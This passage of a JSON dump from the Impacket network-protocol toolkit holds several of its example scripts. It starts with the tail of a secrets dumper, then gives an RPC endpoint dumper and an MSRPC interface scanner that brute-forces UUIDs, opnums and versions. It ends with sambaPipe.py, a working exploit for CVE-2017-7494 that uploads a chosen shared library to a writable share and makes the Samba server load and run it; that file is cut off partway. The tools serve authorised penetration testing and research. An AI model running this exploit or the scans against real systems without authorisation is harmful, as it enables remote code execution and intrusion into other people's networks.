None:\n        from getpass import getpass\n\n        password = getpass(\"Password:\")\n\n    if options.aesKey is not None:\n        options.k = True\n\n    dumper = DumpSecrets(remoteName, username, password, domain, options)\n    try:\n        dumper.dump()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(e)\n"
  },
  {
    "path": "examples/rpcdump.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   DCE/RPC endpoint mapper dumper.\n#\n# Author:\n#   Javier Kohen\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   DCE/RPC.\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport logging\nimport argparse\n\nfrom impacket.http import AUTH_NTLM\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import uuid, version\nfrom impacket.dcerpc.v5 import transport, epm\nfrom impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \\\n    RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \\\n    RPC_PROXY_RPC_OUT_DATA_404_ERR\n\nclass RPCDump:\n    KNOWN_PROTOCOLS = {\n        135: {'bindstr': r'ncacn_ip_tcp:%s[135]'},\n        139: {'bindstr': r'ncacn_np:%s[\\pipe\\epmapper]'},\n        443: {'bindstr': r'ncacn_http:[593,RpcProxy=%s:443]'},\n        445: {'bindstr': r'ncacn_np:%s[\\pipe\\epmapper]'},\n        593: {'bindstr': r'ncacn_http:%s'}\n        }\n\n    def __init__(self, username = '', password = '', domain='', hashes = None, port=135):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__port = port\n        self.__stringbinding = '' \n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    def dump(self, remoteName, remoteHost):\n        \"\"\"Dumps the list of endpoints registered with the mapper\n        listening at addr. remoteName is a valid host name or IP\n        address in string format.\n        \"\"\"\n\n        logging.info('Retrieving endpoint list from %s' % remoteName)\n\n        entries = []\n\n        self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName\n        logging.debug('StringBinding %s' % self.__stringbinding)\n        rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)\n\n        if self.__port in [139, 445]:\n            # Setting credentials for SMB\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain,\n                                         self.__lmhash, self.__nthash)\n\n            # Setting remote host and port for SMB\n            rpctransport.setRemoteHost(remoteHost)\n            rpctransport.set_dport(self.__port)\n        elif self.__port in [443]:\n            # Setting credentials only for RPC Proxy, but not for the MSRPC level\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain,\n                                         self.__lmhash, self.__nthash)\n\n            # Usually when a server doesn't support NTLM, it also doesn't expose epmapper (nowadays\n            # only RDG servers may potentially expose a epmapper via RPC Proxy).\n            #\n            # Also if the auth is not NTLM, there is no way to get a target\n            # NetBIOS name, but epmapper ACL requires you to specify it.\n            rpctransport.set_auth_type(AUTH_NTLM)\n        else:\n            # We don't need to authenticate to 135 and 593 ports\n            pass\n\n        try:\n            entries = self.__fetchList(rpctransport)\n        except Exception as e:\n            #raise\n\n            # This may contain UTF-8\n            error_text = 'Protocol failed: %s' % e\n            logging.critical(error_text)\n\n            if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \\\n               RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \\\n               RPC_PROXY_CONN_A1_404_ERR in error_text or \\\n               RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:\n                logging.critical(\"This usually means the target does not allow \"\n                                 \"to connect to its epmapper using RpcProxy.\")\n                return\n\n        # Display results.\n\n        endpoints = {}\n        # Let's groups the UUIDS\n        for entry in entries:\n            binding = epm.PrintStringBinding(entry['tower']['Floors'])\n            tmpUUID = str(entry['tower']['Floors'][0])\n            if (tmpUUID in endpoints) is not True:\n                endpoints[tmpUUID] = {}\n                endpoints[tmpUUID]['Bindings'] = list()\n            if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:\n                endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]\n            else:\n                endpoints[tmpUUID]['EXE'] = 'N/A'\n            endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1].decode('utf-8')\n            endpoints[tmpUUID]['Bindings'].append(binding)\n\n            if tmpUUID[:36] in epm.KNOWN_PROTOCOLS:\n                endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]]\n            else:\n                endpoints[tmpUUID]['Protocol'] = \"N/A\"\n            #print(\"Transfer Syntax: %s\" % entry['tower']['Floors'][1])\n     \n        for endpoint in list(endpoints.keys()):\n            print(\"Protocol: %s \" % endpoints[endpoint]['Protocol'])\n            print(\"Provider: %s \" % endpoints[endpoint]['EXE'])\n            print(\"UUID    : %s %s\" % (endpoint, endpoints[endpoint]['annotation']))\n            print(\"Bindings: \")\n            for binding in endpoints[endpoint]['Bindings']:\n                print(\"          %s\" % binding)\n            print(\"\")\n\n        if entries:\n            num = len(entries)\n            if 1 == num:\n                logging.info('Received one endpoint.')\n            else:\n                logging.info('Received %d endpoints.' % num)\n        else:\n            logging.info('No endpoints found.')\n\n\n    def __fetchList(self, rpctransport):\n        dce = rpctransport.get_dce_rpc()\n\n        dce.connect()\n        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)\n        #dce.bind(epm.MSRPC_UUID_PORTMAP)\n        #rpcepm = epm.DCERPCEpm(dce)\n\n        resp = epm.hept_lookup(None, dce=dce)\n\n        dce.disconnect()\n\n        return resp\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Dumps the remote RPC enpoints information via epmapper.\")\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\", help='IP Address of the target machine. If '\n                       'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '\n                       'name and you cannot resolve it')\n    group.add_argument('-port', choices=['135', '139', '443', '445', '593'], nargs='?', default='135', metavar=\"destination port\",\n                       help='Destination port to connect to RPC Endpoint Mapper')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n \n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    dumper = RPCDump(username, password, domain, options.hashes, int(options.port))\n\n    dumper.dump(remoteName, options.target_ip)\n"
  },
  {
    "path": "examples/rpcmap.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Scan for listening MSRPC interfaces\n#\n#   This binds to the MGMT interface and gets a list of interface UUIDs.\n#   If the MGMT interface is not available, it takes a list of interface UUIDs\n#   seen in the wild and tries to bind to each interface.\n#\n#   If -brute-opnums is specified, the script tries to call each of the first N\n#   operation numbers for each UUID in turn and reports the outcome of each call.\n#\n#   This can generate a burst of connections to the given endpoint!\n#\n# Authors:\n#   Catalin Patulea <cat@vv.carleton.ca>\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#\n# TODO:\n#  [ ] The rpcmap.py connections are never closed. We need to close them.\n#      This will require changing SMB and RPC libraries.\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport re\nimport sys\nimport logging\nimport argparse\n\nfrom impacket.http import AUTH_BASIC\nfrom impacket.examples import logger, rpcdatabase\nfrom impacket.examples.utils import parse_identity\nfrom impacket import uuid, version\nfrom impacket.dcerpc.v5.epm import KNOWN_UUIDS\nfrom impacket.dcerpc.v5 import transport, rpcrt, epm\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.transport import DCERPCStringBinding, \\\n    SMBTransport\nfrom impacket.dcerpc.v5 import mgmt\nfrom impacket.dcerpc.v5.rpch import RPC_PROXY_CONN_A1_401_ERR, \\\n    RPC_PROXY_INVALID_RPC_PORT_ERR, RPC_PROXY_HTTP_IN_DATA_401_ERR, \\\n    RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \\\n    RPC_PROXY_RPC_OUT_DATA_404_ERR\n\n\nclass RPCMap():\n    def __init__(self, stringbinding='', authLevel=6, bruteUUIDs=False, uuids=(),\n        bruteOpnums=False, opnumMax=64, bruteVersions=False, versionMax=64):\n        try:\n            self.__stringbinding = DCERPCStringBinding(stringbinding)\n        except:\n            raise Exception(\"Provided stringbinding is not correct\")\n\n        # Empty network address is used to specify that the network address\n        # must be obtained from NTLMSSP of RPC proxy.\n        if self.__stringbinding.get_network_address() == '' and \\\n           not self.__stringbinding.is_option_set(\"RpcProxy\"):\n            raise Exception(\"Provided stringbinding is not correct\")\n\n        self.__authLevel      = authLevel\n        self.__brute_uuids    = bruteUUIDs\n        self.__uuids          = uuids\n        self.__brute_opnums   = bruteOpnums\n        self.__opnum_max      = opnumMax\n        self.__brute_versions = bruteVersions\n        self.__version_max    = versionMax\n\n        self.__msrpc_lockout_protection = False\n        self.__rpctransport   = transport.DCERPCTransportFactory(stringbinding)\n        self.__dce            = self.__rpctransport.get_dce_rpc()\n\n    def get_rpc_transport(self):\n        return self.__rpctransport\n\n    def set_transport_credentials(self, username, password, domain='', hashes=None):\n        if hashes is not None:\n            lmhash, nthash = hashes.split(':')\n        else:\n            lmhash = ''\n            nthash = ''\n\n        if hasattr(self.__rpctransport, 'set_credentials'):\n            self.__rpctransport.set_credentials(username, password, domain, lmhash, nthash)\n\n    def set_rpc_credentials(self, username, password, domain='', hashes=None):\n        if hashes is not None:\n            lmhash, nthash = hashes.split(':')\n        else:\n            lmhash = ''\n            nthash = ''\n\n        if hasattr(self.__dce, 'set_credentials'):\n            self.__dce.set_credentials(username, password, domain, lmhash, nthash)\n\n        if username != '' or password != '' or hashes != '':\n            self.__msrpc_lockout_protection = True\n\n    def set_smb_info(self, smbhost=None, smbport=None):\n        if isinstance(self.__rpctransport, SMBTransport):\n            if smbhost:\n                self.__rpctransport.setRemoteHost(smbhost)\n            if smbport:\n                self.__rpctransport.set_dport(smbport)\n\n    def connect(self):\n        self.__dce.set_auth_level(self.__authLevel)\n        self.__dce.connect()\n\n    def disconnect(self):\n        self.__dce.disconnect()\n\n    def do(self):\n        try:\n            # Connecting to MGMT interface\n            self.__dce.bind(mgmt.MSRPC_UUID_MGMT)\n\n            # Retrieving interfaces UUIDs from the MGMT interface\n            ifids = mgmt.hinq_if_ids(self.__dce)\n\n            # If -brute-uuids is set, bruteforcing UUIDs instead of parsing ifids\n            # We must do it after mgmt.hinq_if_ids to prevent a specified account from being locked out\n            if self.__brute_uuids:\n                self.bruteforce_uuids()\n                return\n\n            uuidtups = set(\n                uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData())\n                for index in range(ifids['if_id_vector']['count'])\n              )\n\n            # Adding MGMT interface itself\n            uuidtups.add(('AFA8BD80-7D8A-11C9-BEF4-08002B102989', '1.0'))\n\n            for tup in sorted(uuidtups):\n                self.handle_discovered_tup(tup)\n        except DCERPCException as e:\n            # nca_s_unk_if for Windows SMB\n            # reason_not_specified for Samba 4\n            # abstract_syntax_not_supported for Samba 3\n            if str(e).find('nca_s_unk_if') >= 0 or \\\n               str(e).find('reason_not_specified') >= 0 or \\\n               str(e).find('abstract_syntax_not_supported') >= 0:\n                logging.info(\"Target MGMT interface not available\")\n                logging.info(\"Bruteforcing UUIDs. The result may not be complete.\")\n                self.bruteforce_uuids()\n            elif str(e).find('rpc_s_access_denied') and self.__msrpc_lockout_protection == False:\n                logging.info(\"Target MGMT interface requires authentication, but no credentials provided.\")\n                logging.info(\"Bruteforcing UUIDs. The result may not be complete.\")\n                self.bruteforce_uuids()\n            else:\n                raise\n\n    def bruteforce_versions(self, interface_uuid):\n        results = []\n\n        for i in range(self.__version_max + 1):\n            binuuid = uuid.uuidtup_to_bin((interface_uuid, \"%d.0\" % i))\n            # Is there a way to test multiple opnums in a single rpc channel?\n            self.__dce.connect()\n\n            try:\n                self.__dce.bind(binuuid)\n            except Exception as e:\n                if str(e).find(\"abstract_syntax_not_supported\") >= 0:\n                    results.append(\"abstract_syntax_not_supported (version not supported)\")\n                else:\n                    results.append(str(e))\n            else:\n                results.append(\"success\")\n\n        if len(results) > 1 and results[-1] == results[-2]:\n            suffix = results[-1]\n            while results and results[-1] == suffix:\n                results.pop()\n\n            for i, result in enumerate(results):\n                print(\"Versions %d: %s\" % (i, result))\n\n            print(\"Versions %d-%d: %s\" % (len(results), self.__version_max, suffix))\n        else:\n            for i, result in enumerate(results):\n                print(\"Versions %d: %s\" % (i, result))\n\n    def bruteforce_opnums(self, binuuid):\n        results = []\n\n        for i in range(self.__opnum_max + 1):\n            # Is there a way to test multiple opnums in a single rpc channel?\n            self.__dce.connect()\n            self.__dce.bind(binuuid)\n            self.__dce.call(i, b\"\")\n\n            try:\n                self.__dce.recv()\n            except Exception as e:\n                if str(e).find(\"nca_s_op_rng_error\") >= 0:\n                    results.append(\"nca_s_op_rng_error (opnum not found)\")\n                else:\n                    results.append(str(e))\n            else:\n                results.append(\"success\")\n\n        if len(results) > 1 and results[-1] == results[-2]:\n            suffix = results[-1]\n            while results and results[-1] == suffix:\n                results.pop()\n\n            for i, result in enumerate(results):\n                print(\"Opnum %d: %s\" % (i, result))\n\n            print(\"Opnums %d-%d: %s\" % (len(results), self.__opnum_max, suffix))\n        else:\n            for i, result in enumerate(results):\n                print(\"Opnum %d: %s\" % (i, result))\n\n    def bruteforce_uuids(self):\n        for tup in sorted(self.__uuids):\n            # Is there a way to test multiple UUIDs in a single rpc channel?\n            self.__dce.connect()\n            binuuid = uuid.uuidtup_to_bin(tup)\n\n            try:\n                self.__dce.bind(binuuid)\n            except rpcrt.DCERPCException as e:\n                # For Windows SMB\n                if str(e).find('abstract_syntax_not_supported') >= 0:\n                   continue\n                # For Samba\n                if str(e).find('nca_s_proto_error') >= 0:\n                   continue\n                # For Samba\n                if str(e).find('reason_not_specified') >= 0:\n                   continue\n\n            self.handle_discovered_tup(tup)\n\n        logging.info(\"Tested %d UUID(s)\", len(self.__uuids))\n\n    def handle_discovered_tup(self, tup):\n        if tup[0] in epm.KNOWN_PROTOCOLS:\n            print(\"Protocol: %s\" % (epm.KNOWN_PROTOCOLS[tup[0]]))\n        else:\n            print(\"Procotol: N/A\")\n\n        if uuid.uuidtup_to_bin(tup)[: 18] in KNOWN_UUIDS:\n            print(\"Provider: %s\" % (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]]))\n        else:\n            print(\"Provider: N/A\")\n\n        print(\"UUID: %s v%s\" % (tup[0], tup[1]))\n\n        if self.__brute_versions:\n            self.bruteforce_versions(tup[0])\n\n        if self.__brute_opnums:\n            try:\n                self.bruteforce_opnums(uuid.uuidtup_to_bin(tup))\n            except DCERPCException as e:\n                if str(e).find('abstract_syntax_not_supported') >= 0:\n                    print(\"Listening: False\")\n                else:\n                    raise\n        print()\n\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    class SmartFormatter(argparse.HelpFormatter):\n        def _split_lines(self, text, width):\n            if text.startswith('R|'):\n                return text[2:].splitlines()  \n            else:\n                return argparse.HelpFormatter._split_lines(self, text, width)\n\n    parser = argparse.ArgumentParser(add_help=True, formatter_class=SmartFormatter, description=\"Lookups listening MSRPC interfaces.\")\n    parser.add_argument('stringbinding', help='R|String binding to connect to MSRPC interface, for example:\\n'\n                                              'ncacn_ip_tcp:192.168.0.1[135]\\n'\n                                              'ncacn_np:192.168.0.1[\\\\pipe\\\\spoolss]\\n'\n                                              'ncacn_http:192.168.0.1[593]\\n'\n                                              'ncacn_http:[6001,RpcProxy=exchange.contoso.com:443]\\n'\n                                              'ncacn_http:localhost[3388,RpcProxy=rds.contoso:443]'\n                                               )\n    parser.add_argument('-brute-uuids', action='store_true', help='Bruteforce UUIDs even if MGMT interface is available')\n    parser.add_argument('-brute-opnums', action='store_true', help='Bruteforce opnums for found UUIDs')\n    parser.add_argument('-brute-versions', action='store_true', help='Bruteforce major versions of found UUIDs')\n    parser.add_argument('-opnum-max', action='store', type=int, default=64, help='Bruteforce opnums from 0 to N, default 64')\n    parser.add_argument('-version-max', action='store', type=int, default=64, help='Bruteforce versions from 0 to N, default 64')\n    parser.add_argument('-auth-level', action='store', type=int, default=6, help='MS-RPCE auth level, from 1 to 6, default 6 '\n                                                                                 '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)')\n    parser.add_argument('-uuid', action='store', help='Test only this UUID')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    group = parser.add_argument_group('ncacn-np-details')\n\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\", help='IP Address of the target machine. '\n                       'If omitted it will use whatever was specified as target. This is useful when target is the '\n                       'NetBIOS name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-auth-rpc', action='store', default='', help='[domain/]username[:password]')\n    group.add_argument('-auth-transport', action='store', default='', help='[domain/]username[:password]')\n    group.add_argument('-hashes-rpc', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-hashes-transport', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for passwords')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n \n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    rpcdomain, rpcuser, rpcpass, _, _, _ = parse_identity(options.auth_rpc, options.hashes_rpc, options.no_pass, getpass_msg='Password for MSRPC communication:')\n    transportdomain, transportuser, transportpass, _, _, _ = parse_identity(options.auth_transport, options.hashes_transport, options.no_pass, getpass_msg='Password for RPC transport (SMB or HTTP):')\n\n    if options.brute_opnums and options.brute_versions:\n       logging.error(\"Specify only -brute-opnums or -brute-versions\")\n       sys.exit(1)\n\n    if options.uuid is not None:\n        uuids = [uuid.string_to_uuidtup(options.uuid)]\n        options.brute_uuids = True\n    else:\n        uuids = rpcdatabase.uuid_database\n\n    try:\n        lookuper = RPCMap(options.stringbinding, options.auth_level, options.brute_uuids, uuids,\n                          options.brute_opnums, options.opnum_max, options.brute_versions, options.version_max)\n        lookuper.set_rpc_credentials(rpcuser, rpcpass, rpcdomain, options.hashes_rpc)\n        lookuper.set_transport_credentials(transportuser, transportpass, transportdomain, options.hashes_transport)\n        lookuper.set_smb_info(options.target_ip, options.port)\n        lookuper.connect()\n        lookuper.do()\n        lookuper.disconnect()\n    except Exception as e:\n        #raise\n\n        # This may contain UTF-8\n        error_text = 'Protocol failed: %s' % e\n        logging.critical(error_text)\n\n        # Exchange errors\n        if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text:\n            logging.critical(\"This usually means the target is a MS Exchange Server, \"\n                             \"and connections to this rpc port on this host are not allowed (try port 6001)\")\n\n        if RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \\\n           RPC_PROXY_CONN_A1_404_ERR in error_text:\n            logging.critical(\"This usually means the target is a MS Exchange Server, \"\n                             \"and connections to the specified RPC server are not allowed\")\n\n        # Other errors\n        if RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:\n            logging.critical(\"This usually means the target has no ACL to connect to this endpoint using RpcProxy\")\n\n        if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text:\n           if lookuper.get_rpc_transport().get_auth_type() == AUTH_BASIC and transportdomain == '':\n                logging.critical(\"RPC proxy basic authentication might require you to specify the domain. \"\n                                 \"Your domain is empty!\")\n\n        if RPC_PROXY_CONN_A1_401_ERR in error_text or \\\n           RPC_PROXY_CONN_A1_404_ERR in error_text:\n            logging.info(\"A proxy in front of the target server detected (may be WAF / SIEM)\")\n\n        if 'rpc_s_access_denied' in error_text:\n             logging.critical(\"This usually means the credentials on the MSRPC level are invalid!\")\n"
  },
  {
    "path": "examples/sambaPipe.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through\n#   the -so parameter.\n#\n#   The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is\n#   retrieved by using NetrShareEnum() API with info level 2.\n#\n#   Example:\n#\n#   ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1\n#\n#   It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username\n#   to use for authentication will be 'bill' and the password will be asked.\n#\n#   ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1\n#\n#   Same as before, but anonymous authentication will be used.\n#\n# Author:\n#   beto (@agsolino)\n#\n\nimport argparse\nimport logging\nimport sys\nfrom os import path\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.nt_errors import STATUS_SUCCESS\nfrom impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \\\n    FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE\nfrom impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \\\n    SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA\nfrom impacket.smbconnection import SMBConnection\n\n\nclass PIPEDREAM:\n    def __init__(self, smbClient, options):\n        self.__smbClient = smbClient\n        self.__options = options\n\n    def isShareWritable(self, shareName):\n        logging.debug('Checking %s for write access' % shareName)\n        try:\n            logging.debug('Connecting to share %s' % shareName)\n            tid = self.__smbClient.connectTree(shareName)\n        except Exception as e:\n            logging.debug(str(e))\n            return False\n\n        try:\n            self.__smbClient.openFile(tid, '\\\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)\n            writable = True\n        except Exception:\n            writable = False\n            pass\n\n        return writable\n\n    def findSuitableShare(self):\n        from impacket.dcerpc.v5 import transport, srvs\n        rpctransport = transport.SMBTransport(self.__smbClient.getRemoteName(), self.__smbClient.getRemoteHost(),\n                                              filename=r'\\srvsvc', smb_connection=self.__smbClient)\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(srvs.MSRPC_UUID_SRVS)\n        resp = srvs.hNetrShareEnum(dce, 2)\n        for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:\n            if self.isShareWritable(share['shi2_netname'][:-1]):\n                sharePath = share['shi2_path'].split(':')[-1:][0][:-1]\n                return share['shi2_netname'][:-1], sharePath\n\n        raise Exception('No suitable share found, aborting!')\n\n    def uploadSoFile(self, shareName):\n        # Let's extract the filename from the input file pathname\n        fileName = path.basename(self.__options.so.replace('\\\\', '/'))\n        logging.info('Uploading %s to target' % fileName)\n        fh = open(self.__options.so, 'rb')\n        self.__smbClient.putFile(shareName, fileName, fh.read)\n        fh.close()\n        return fileName\n\n    def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,\n               impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,\n               createContexts=None):\n\n        packet = self.__smbClient.getSMBServer().SMB_PACKET()\n        packet['Command'] = SMB2_CREATE\n        packet['TreeID'] = treeId\n        if self.__smbClient._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:\n            packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS\n\n        smb2Create = SMB2Create()\n        smb2Create['SecurityFlags'] = 0\n        smb2Create['RequestedOplockLevel'] = oplockLevel\n        smb2Create['ImpersonationLevel'] = impersonationLevel\n        smb2Create['DesiredAccess'] = desiredAccess\n        smb2Create['FileAttributes'] = fileAttributes\n        smb2Create['ShareAccess'] = shareMode\n        smb2Create['CreateDisposition'] = creationDisposition\n        smb2Create['CreateOptions'] = creationOptions\n\n        smb2Create['NameLength'] = len(fileName) * 2\n        if fileName != '':\n            smb2Create['Buffer'] = fileName.encode('utf-16le')\n        else:\n            smb2Create['Buffer'] = b'\\x00'\n\n        if createContexts is not None:\n            smb2Create['Buffer'] += createContexts\n            smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']\n            smb2Create['CreateContextsLength'] = len(createContexts)\n        else:\n            smb2Create['CreateContextsOffset'] = 0\n            smb2Create['CreateContextsLength'] = 0\n\n        packet['Data'] = smb2Create\n\n        packetID = self.__smbClient.getSMBServer().sendSMB(packet)\n        ans = self.__smbClient.getSMBServer().recvSMB(packetID)\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            createResponse = SMB2Create_Response(ans['Data'])\n\n            # The client MUST generate a handle for the Open, and it MUST\n            # return success and the generated handle to the calling application.\n            # In our case, str(FileID)\n            return str(createResponse['FileID'])\n\n    def openPipe(self, sharePath, fileName):\n        # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style\n        # to make things easier for the caller. Not this time ;)\n        treeId = self.__smbClient.connectTree('IPC$')\n        sharePath = sharePath.replace('\\\\', '/')\n        pathName = '/' + path.join(sharePath, fileName)\n        logging.info('Final path to load is %s' % pathName)\n        logging.info('Triggering bug now, cross your fingers')\n\n        if self.__smbClient.getDialect() == SMB_DIALECT:\n            _, flags2 = self.__smbClient.getSMBServer().get_flags()\n\n            pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName\n\n            ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)\n            ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()\n            ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)\n            ntCreate['Parameters']['FileNameLength'] = len(pathName)\n            ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA\n            ntCreate['Parameters']['FileAttributes'] = 0\n            ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ\n            ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE\n            ntCreate['Parameters']['CreateOptions'] = FILE_OPEN\n            ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION\n            ntCreate['Parameters']['SecurityFlags'] = 0\n            ntCreate['Parameters']['CreateFlags'] = 0x16\n            ntCreate['Data']['FileName'] = pathName\n\n            if flags2 & SMB.FLAGS2_UNICODE:\n                ntCreate['Data']['Pad'] = 0x0\n\n            return self.__smbClient.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)\n        else:\n            return self.create(treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,\n                               creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)\n\n    def run(self):\n        logging.info('Finding a writeable share at target')\n\n        shareName, sharePath = self.findSuitableShare()\n\n        logging.info('Found share %s with path %s' % (shareName, sharePath))\n\n        fileName = self.uploadSoFile(shareName)\n\n        logging.info('Share path is %s' % sharePath)\n        try:\n            self.openPipe(sharePath, fileName)\n        except Exception as e:\n            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:\n                logging.info('Expected STATUS_OBJECT_NAME_NOT_FOUND received, doesn\\'t mean the exploit worked tho')\n            else:\n                logging.info('Target likely not vulnerable, Unexpected %s' % str(e))\n        finally:\n            logging.info('Removing file from target')\n            self.__smbClient.deleteFile(shareName, fileName)\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Samba Pipe exploit\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-so', action='store', required = True, help='so filename to upload and load')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    group = parser.add_argument_group('authentication')\n\n    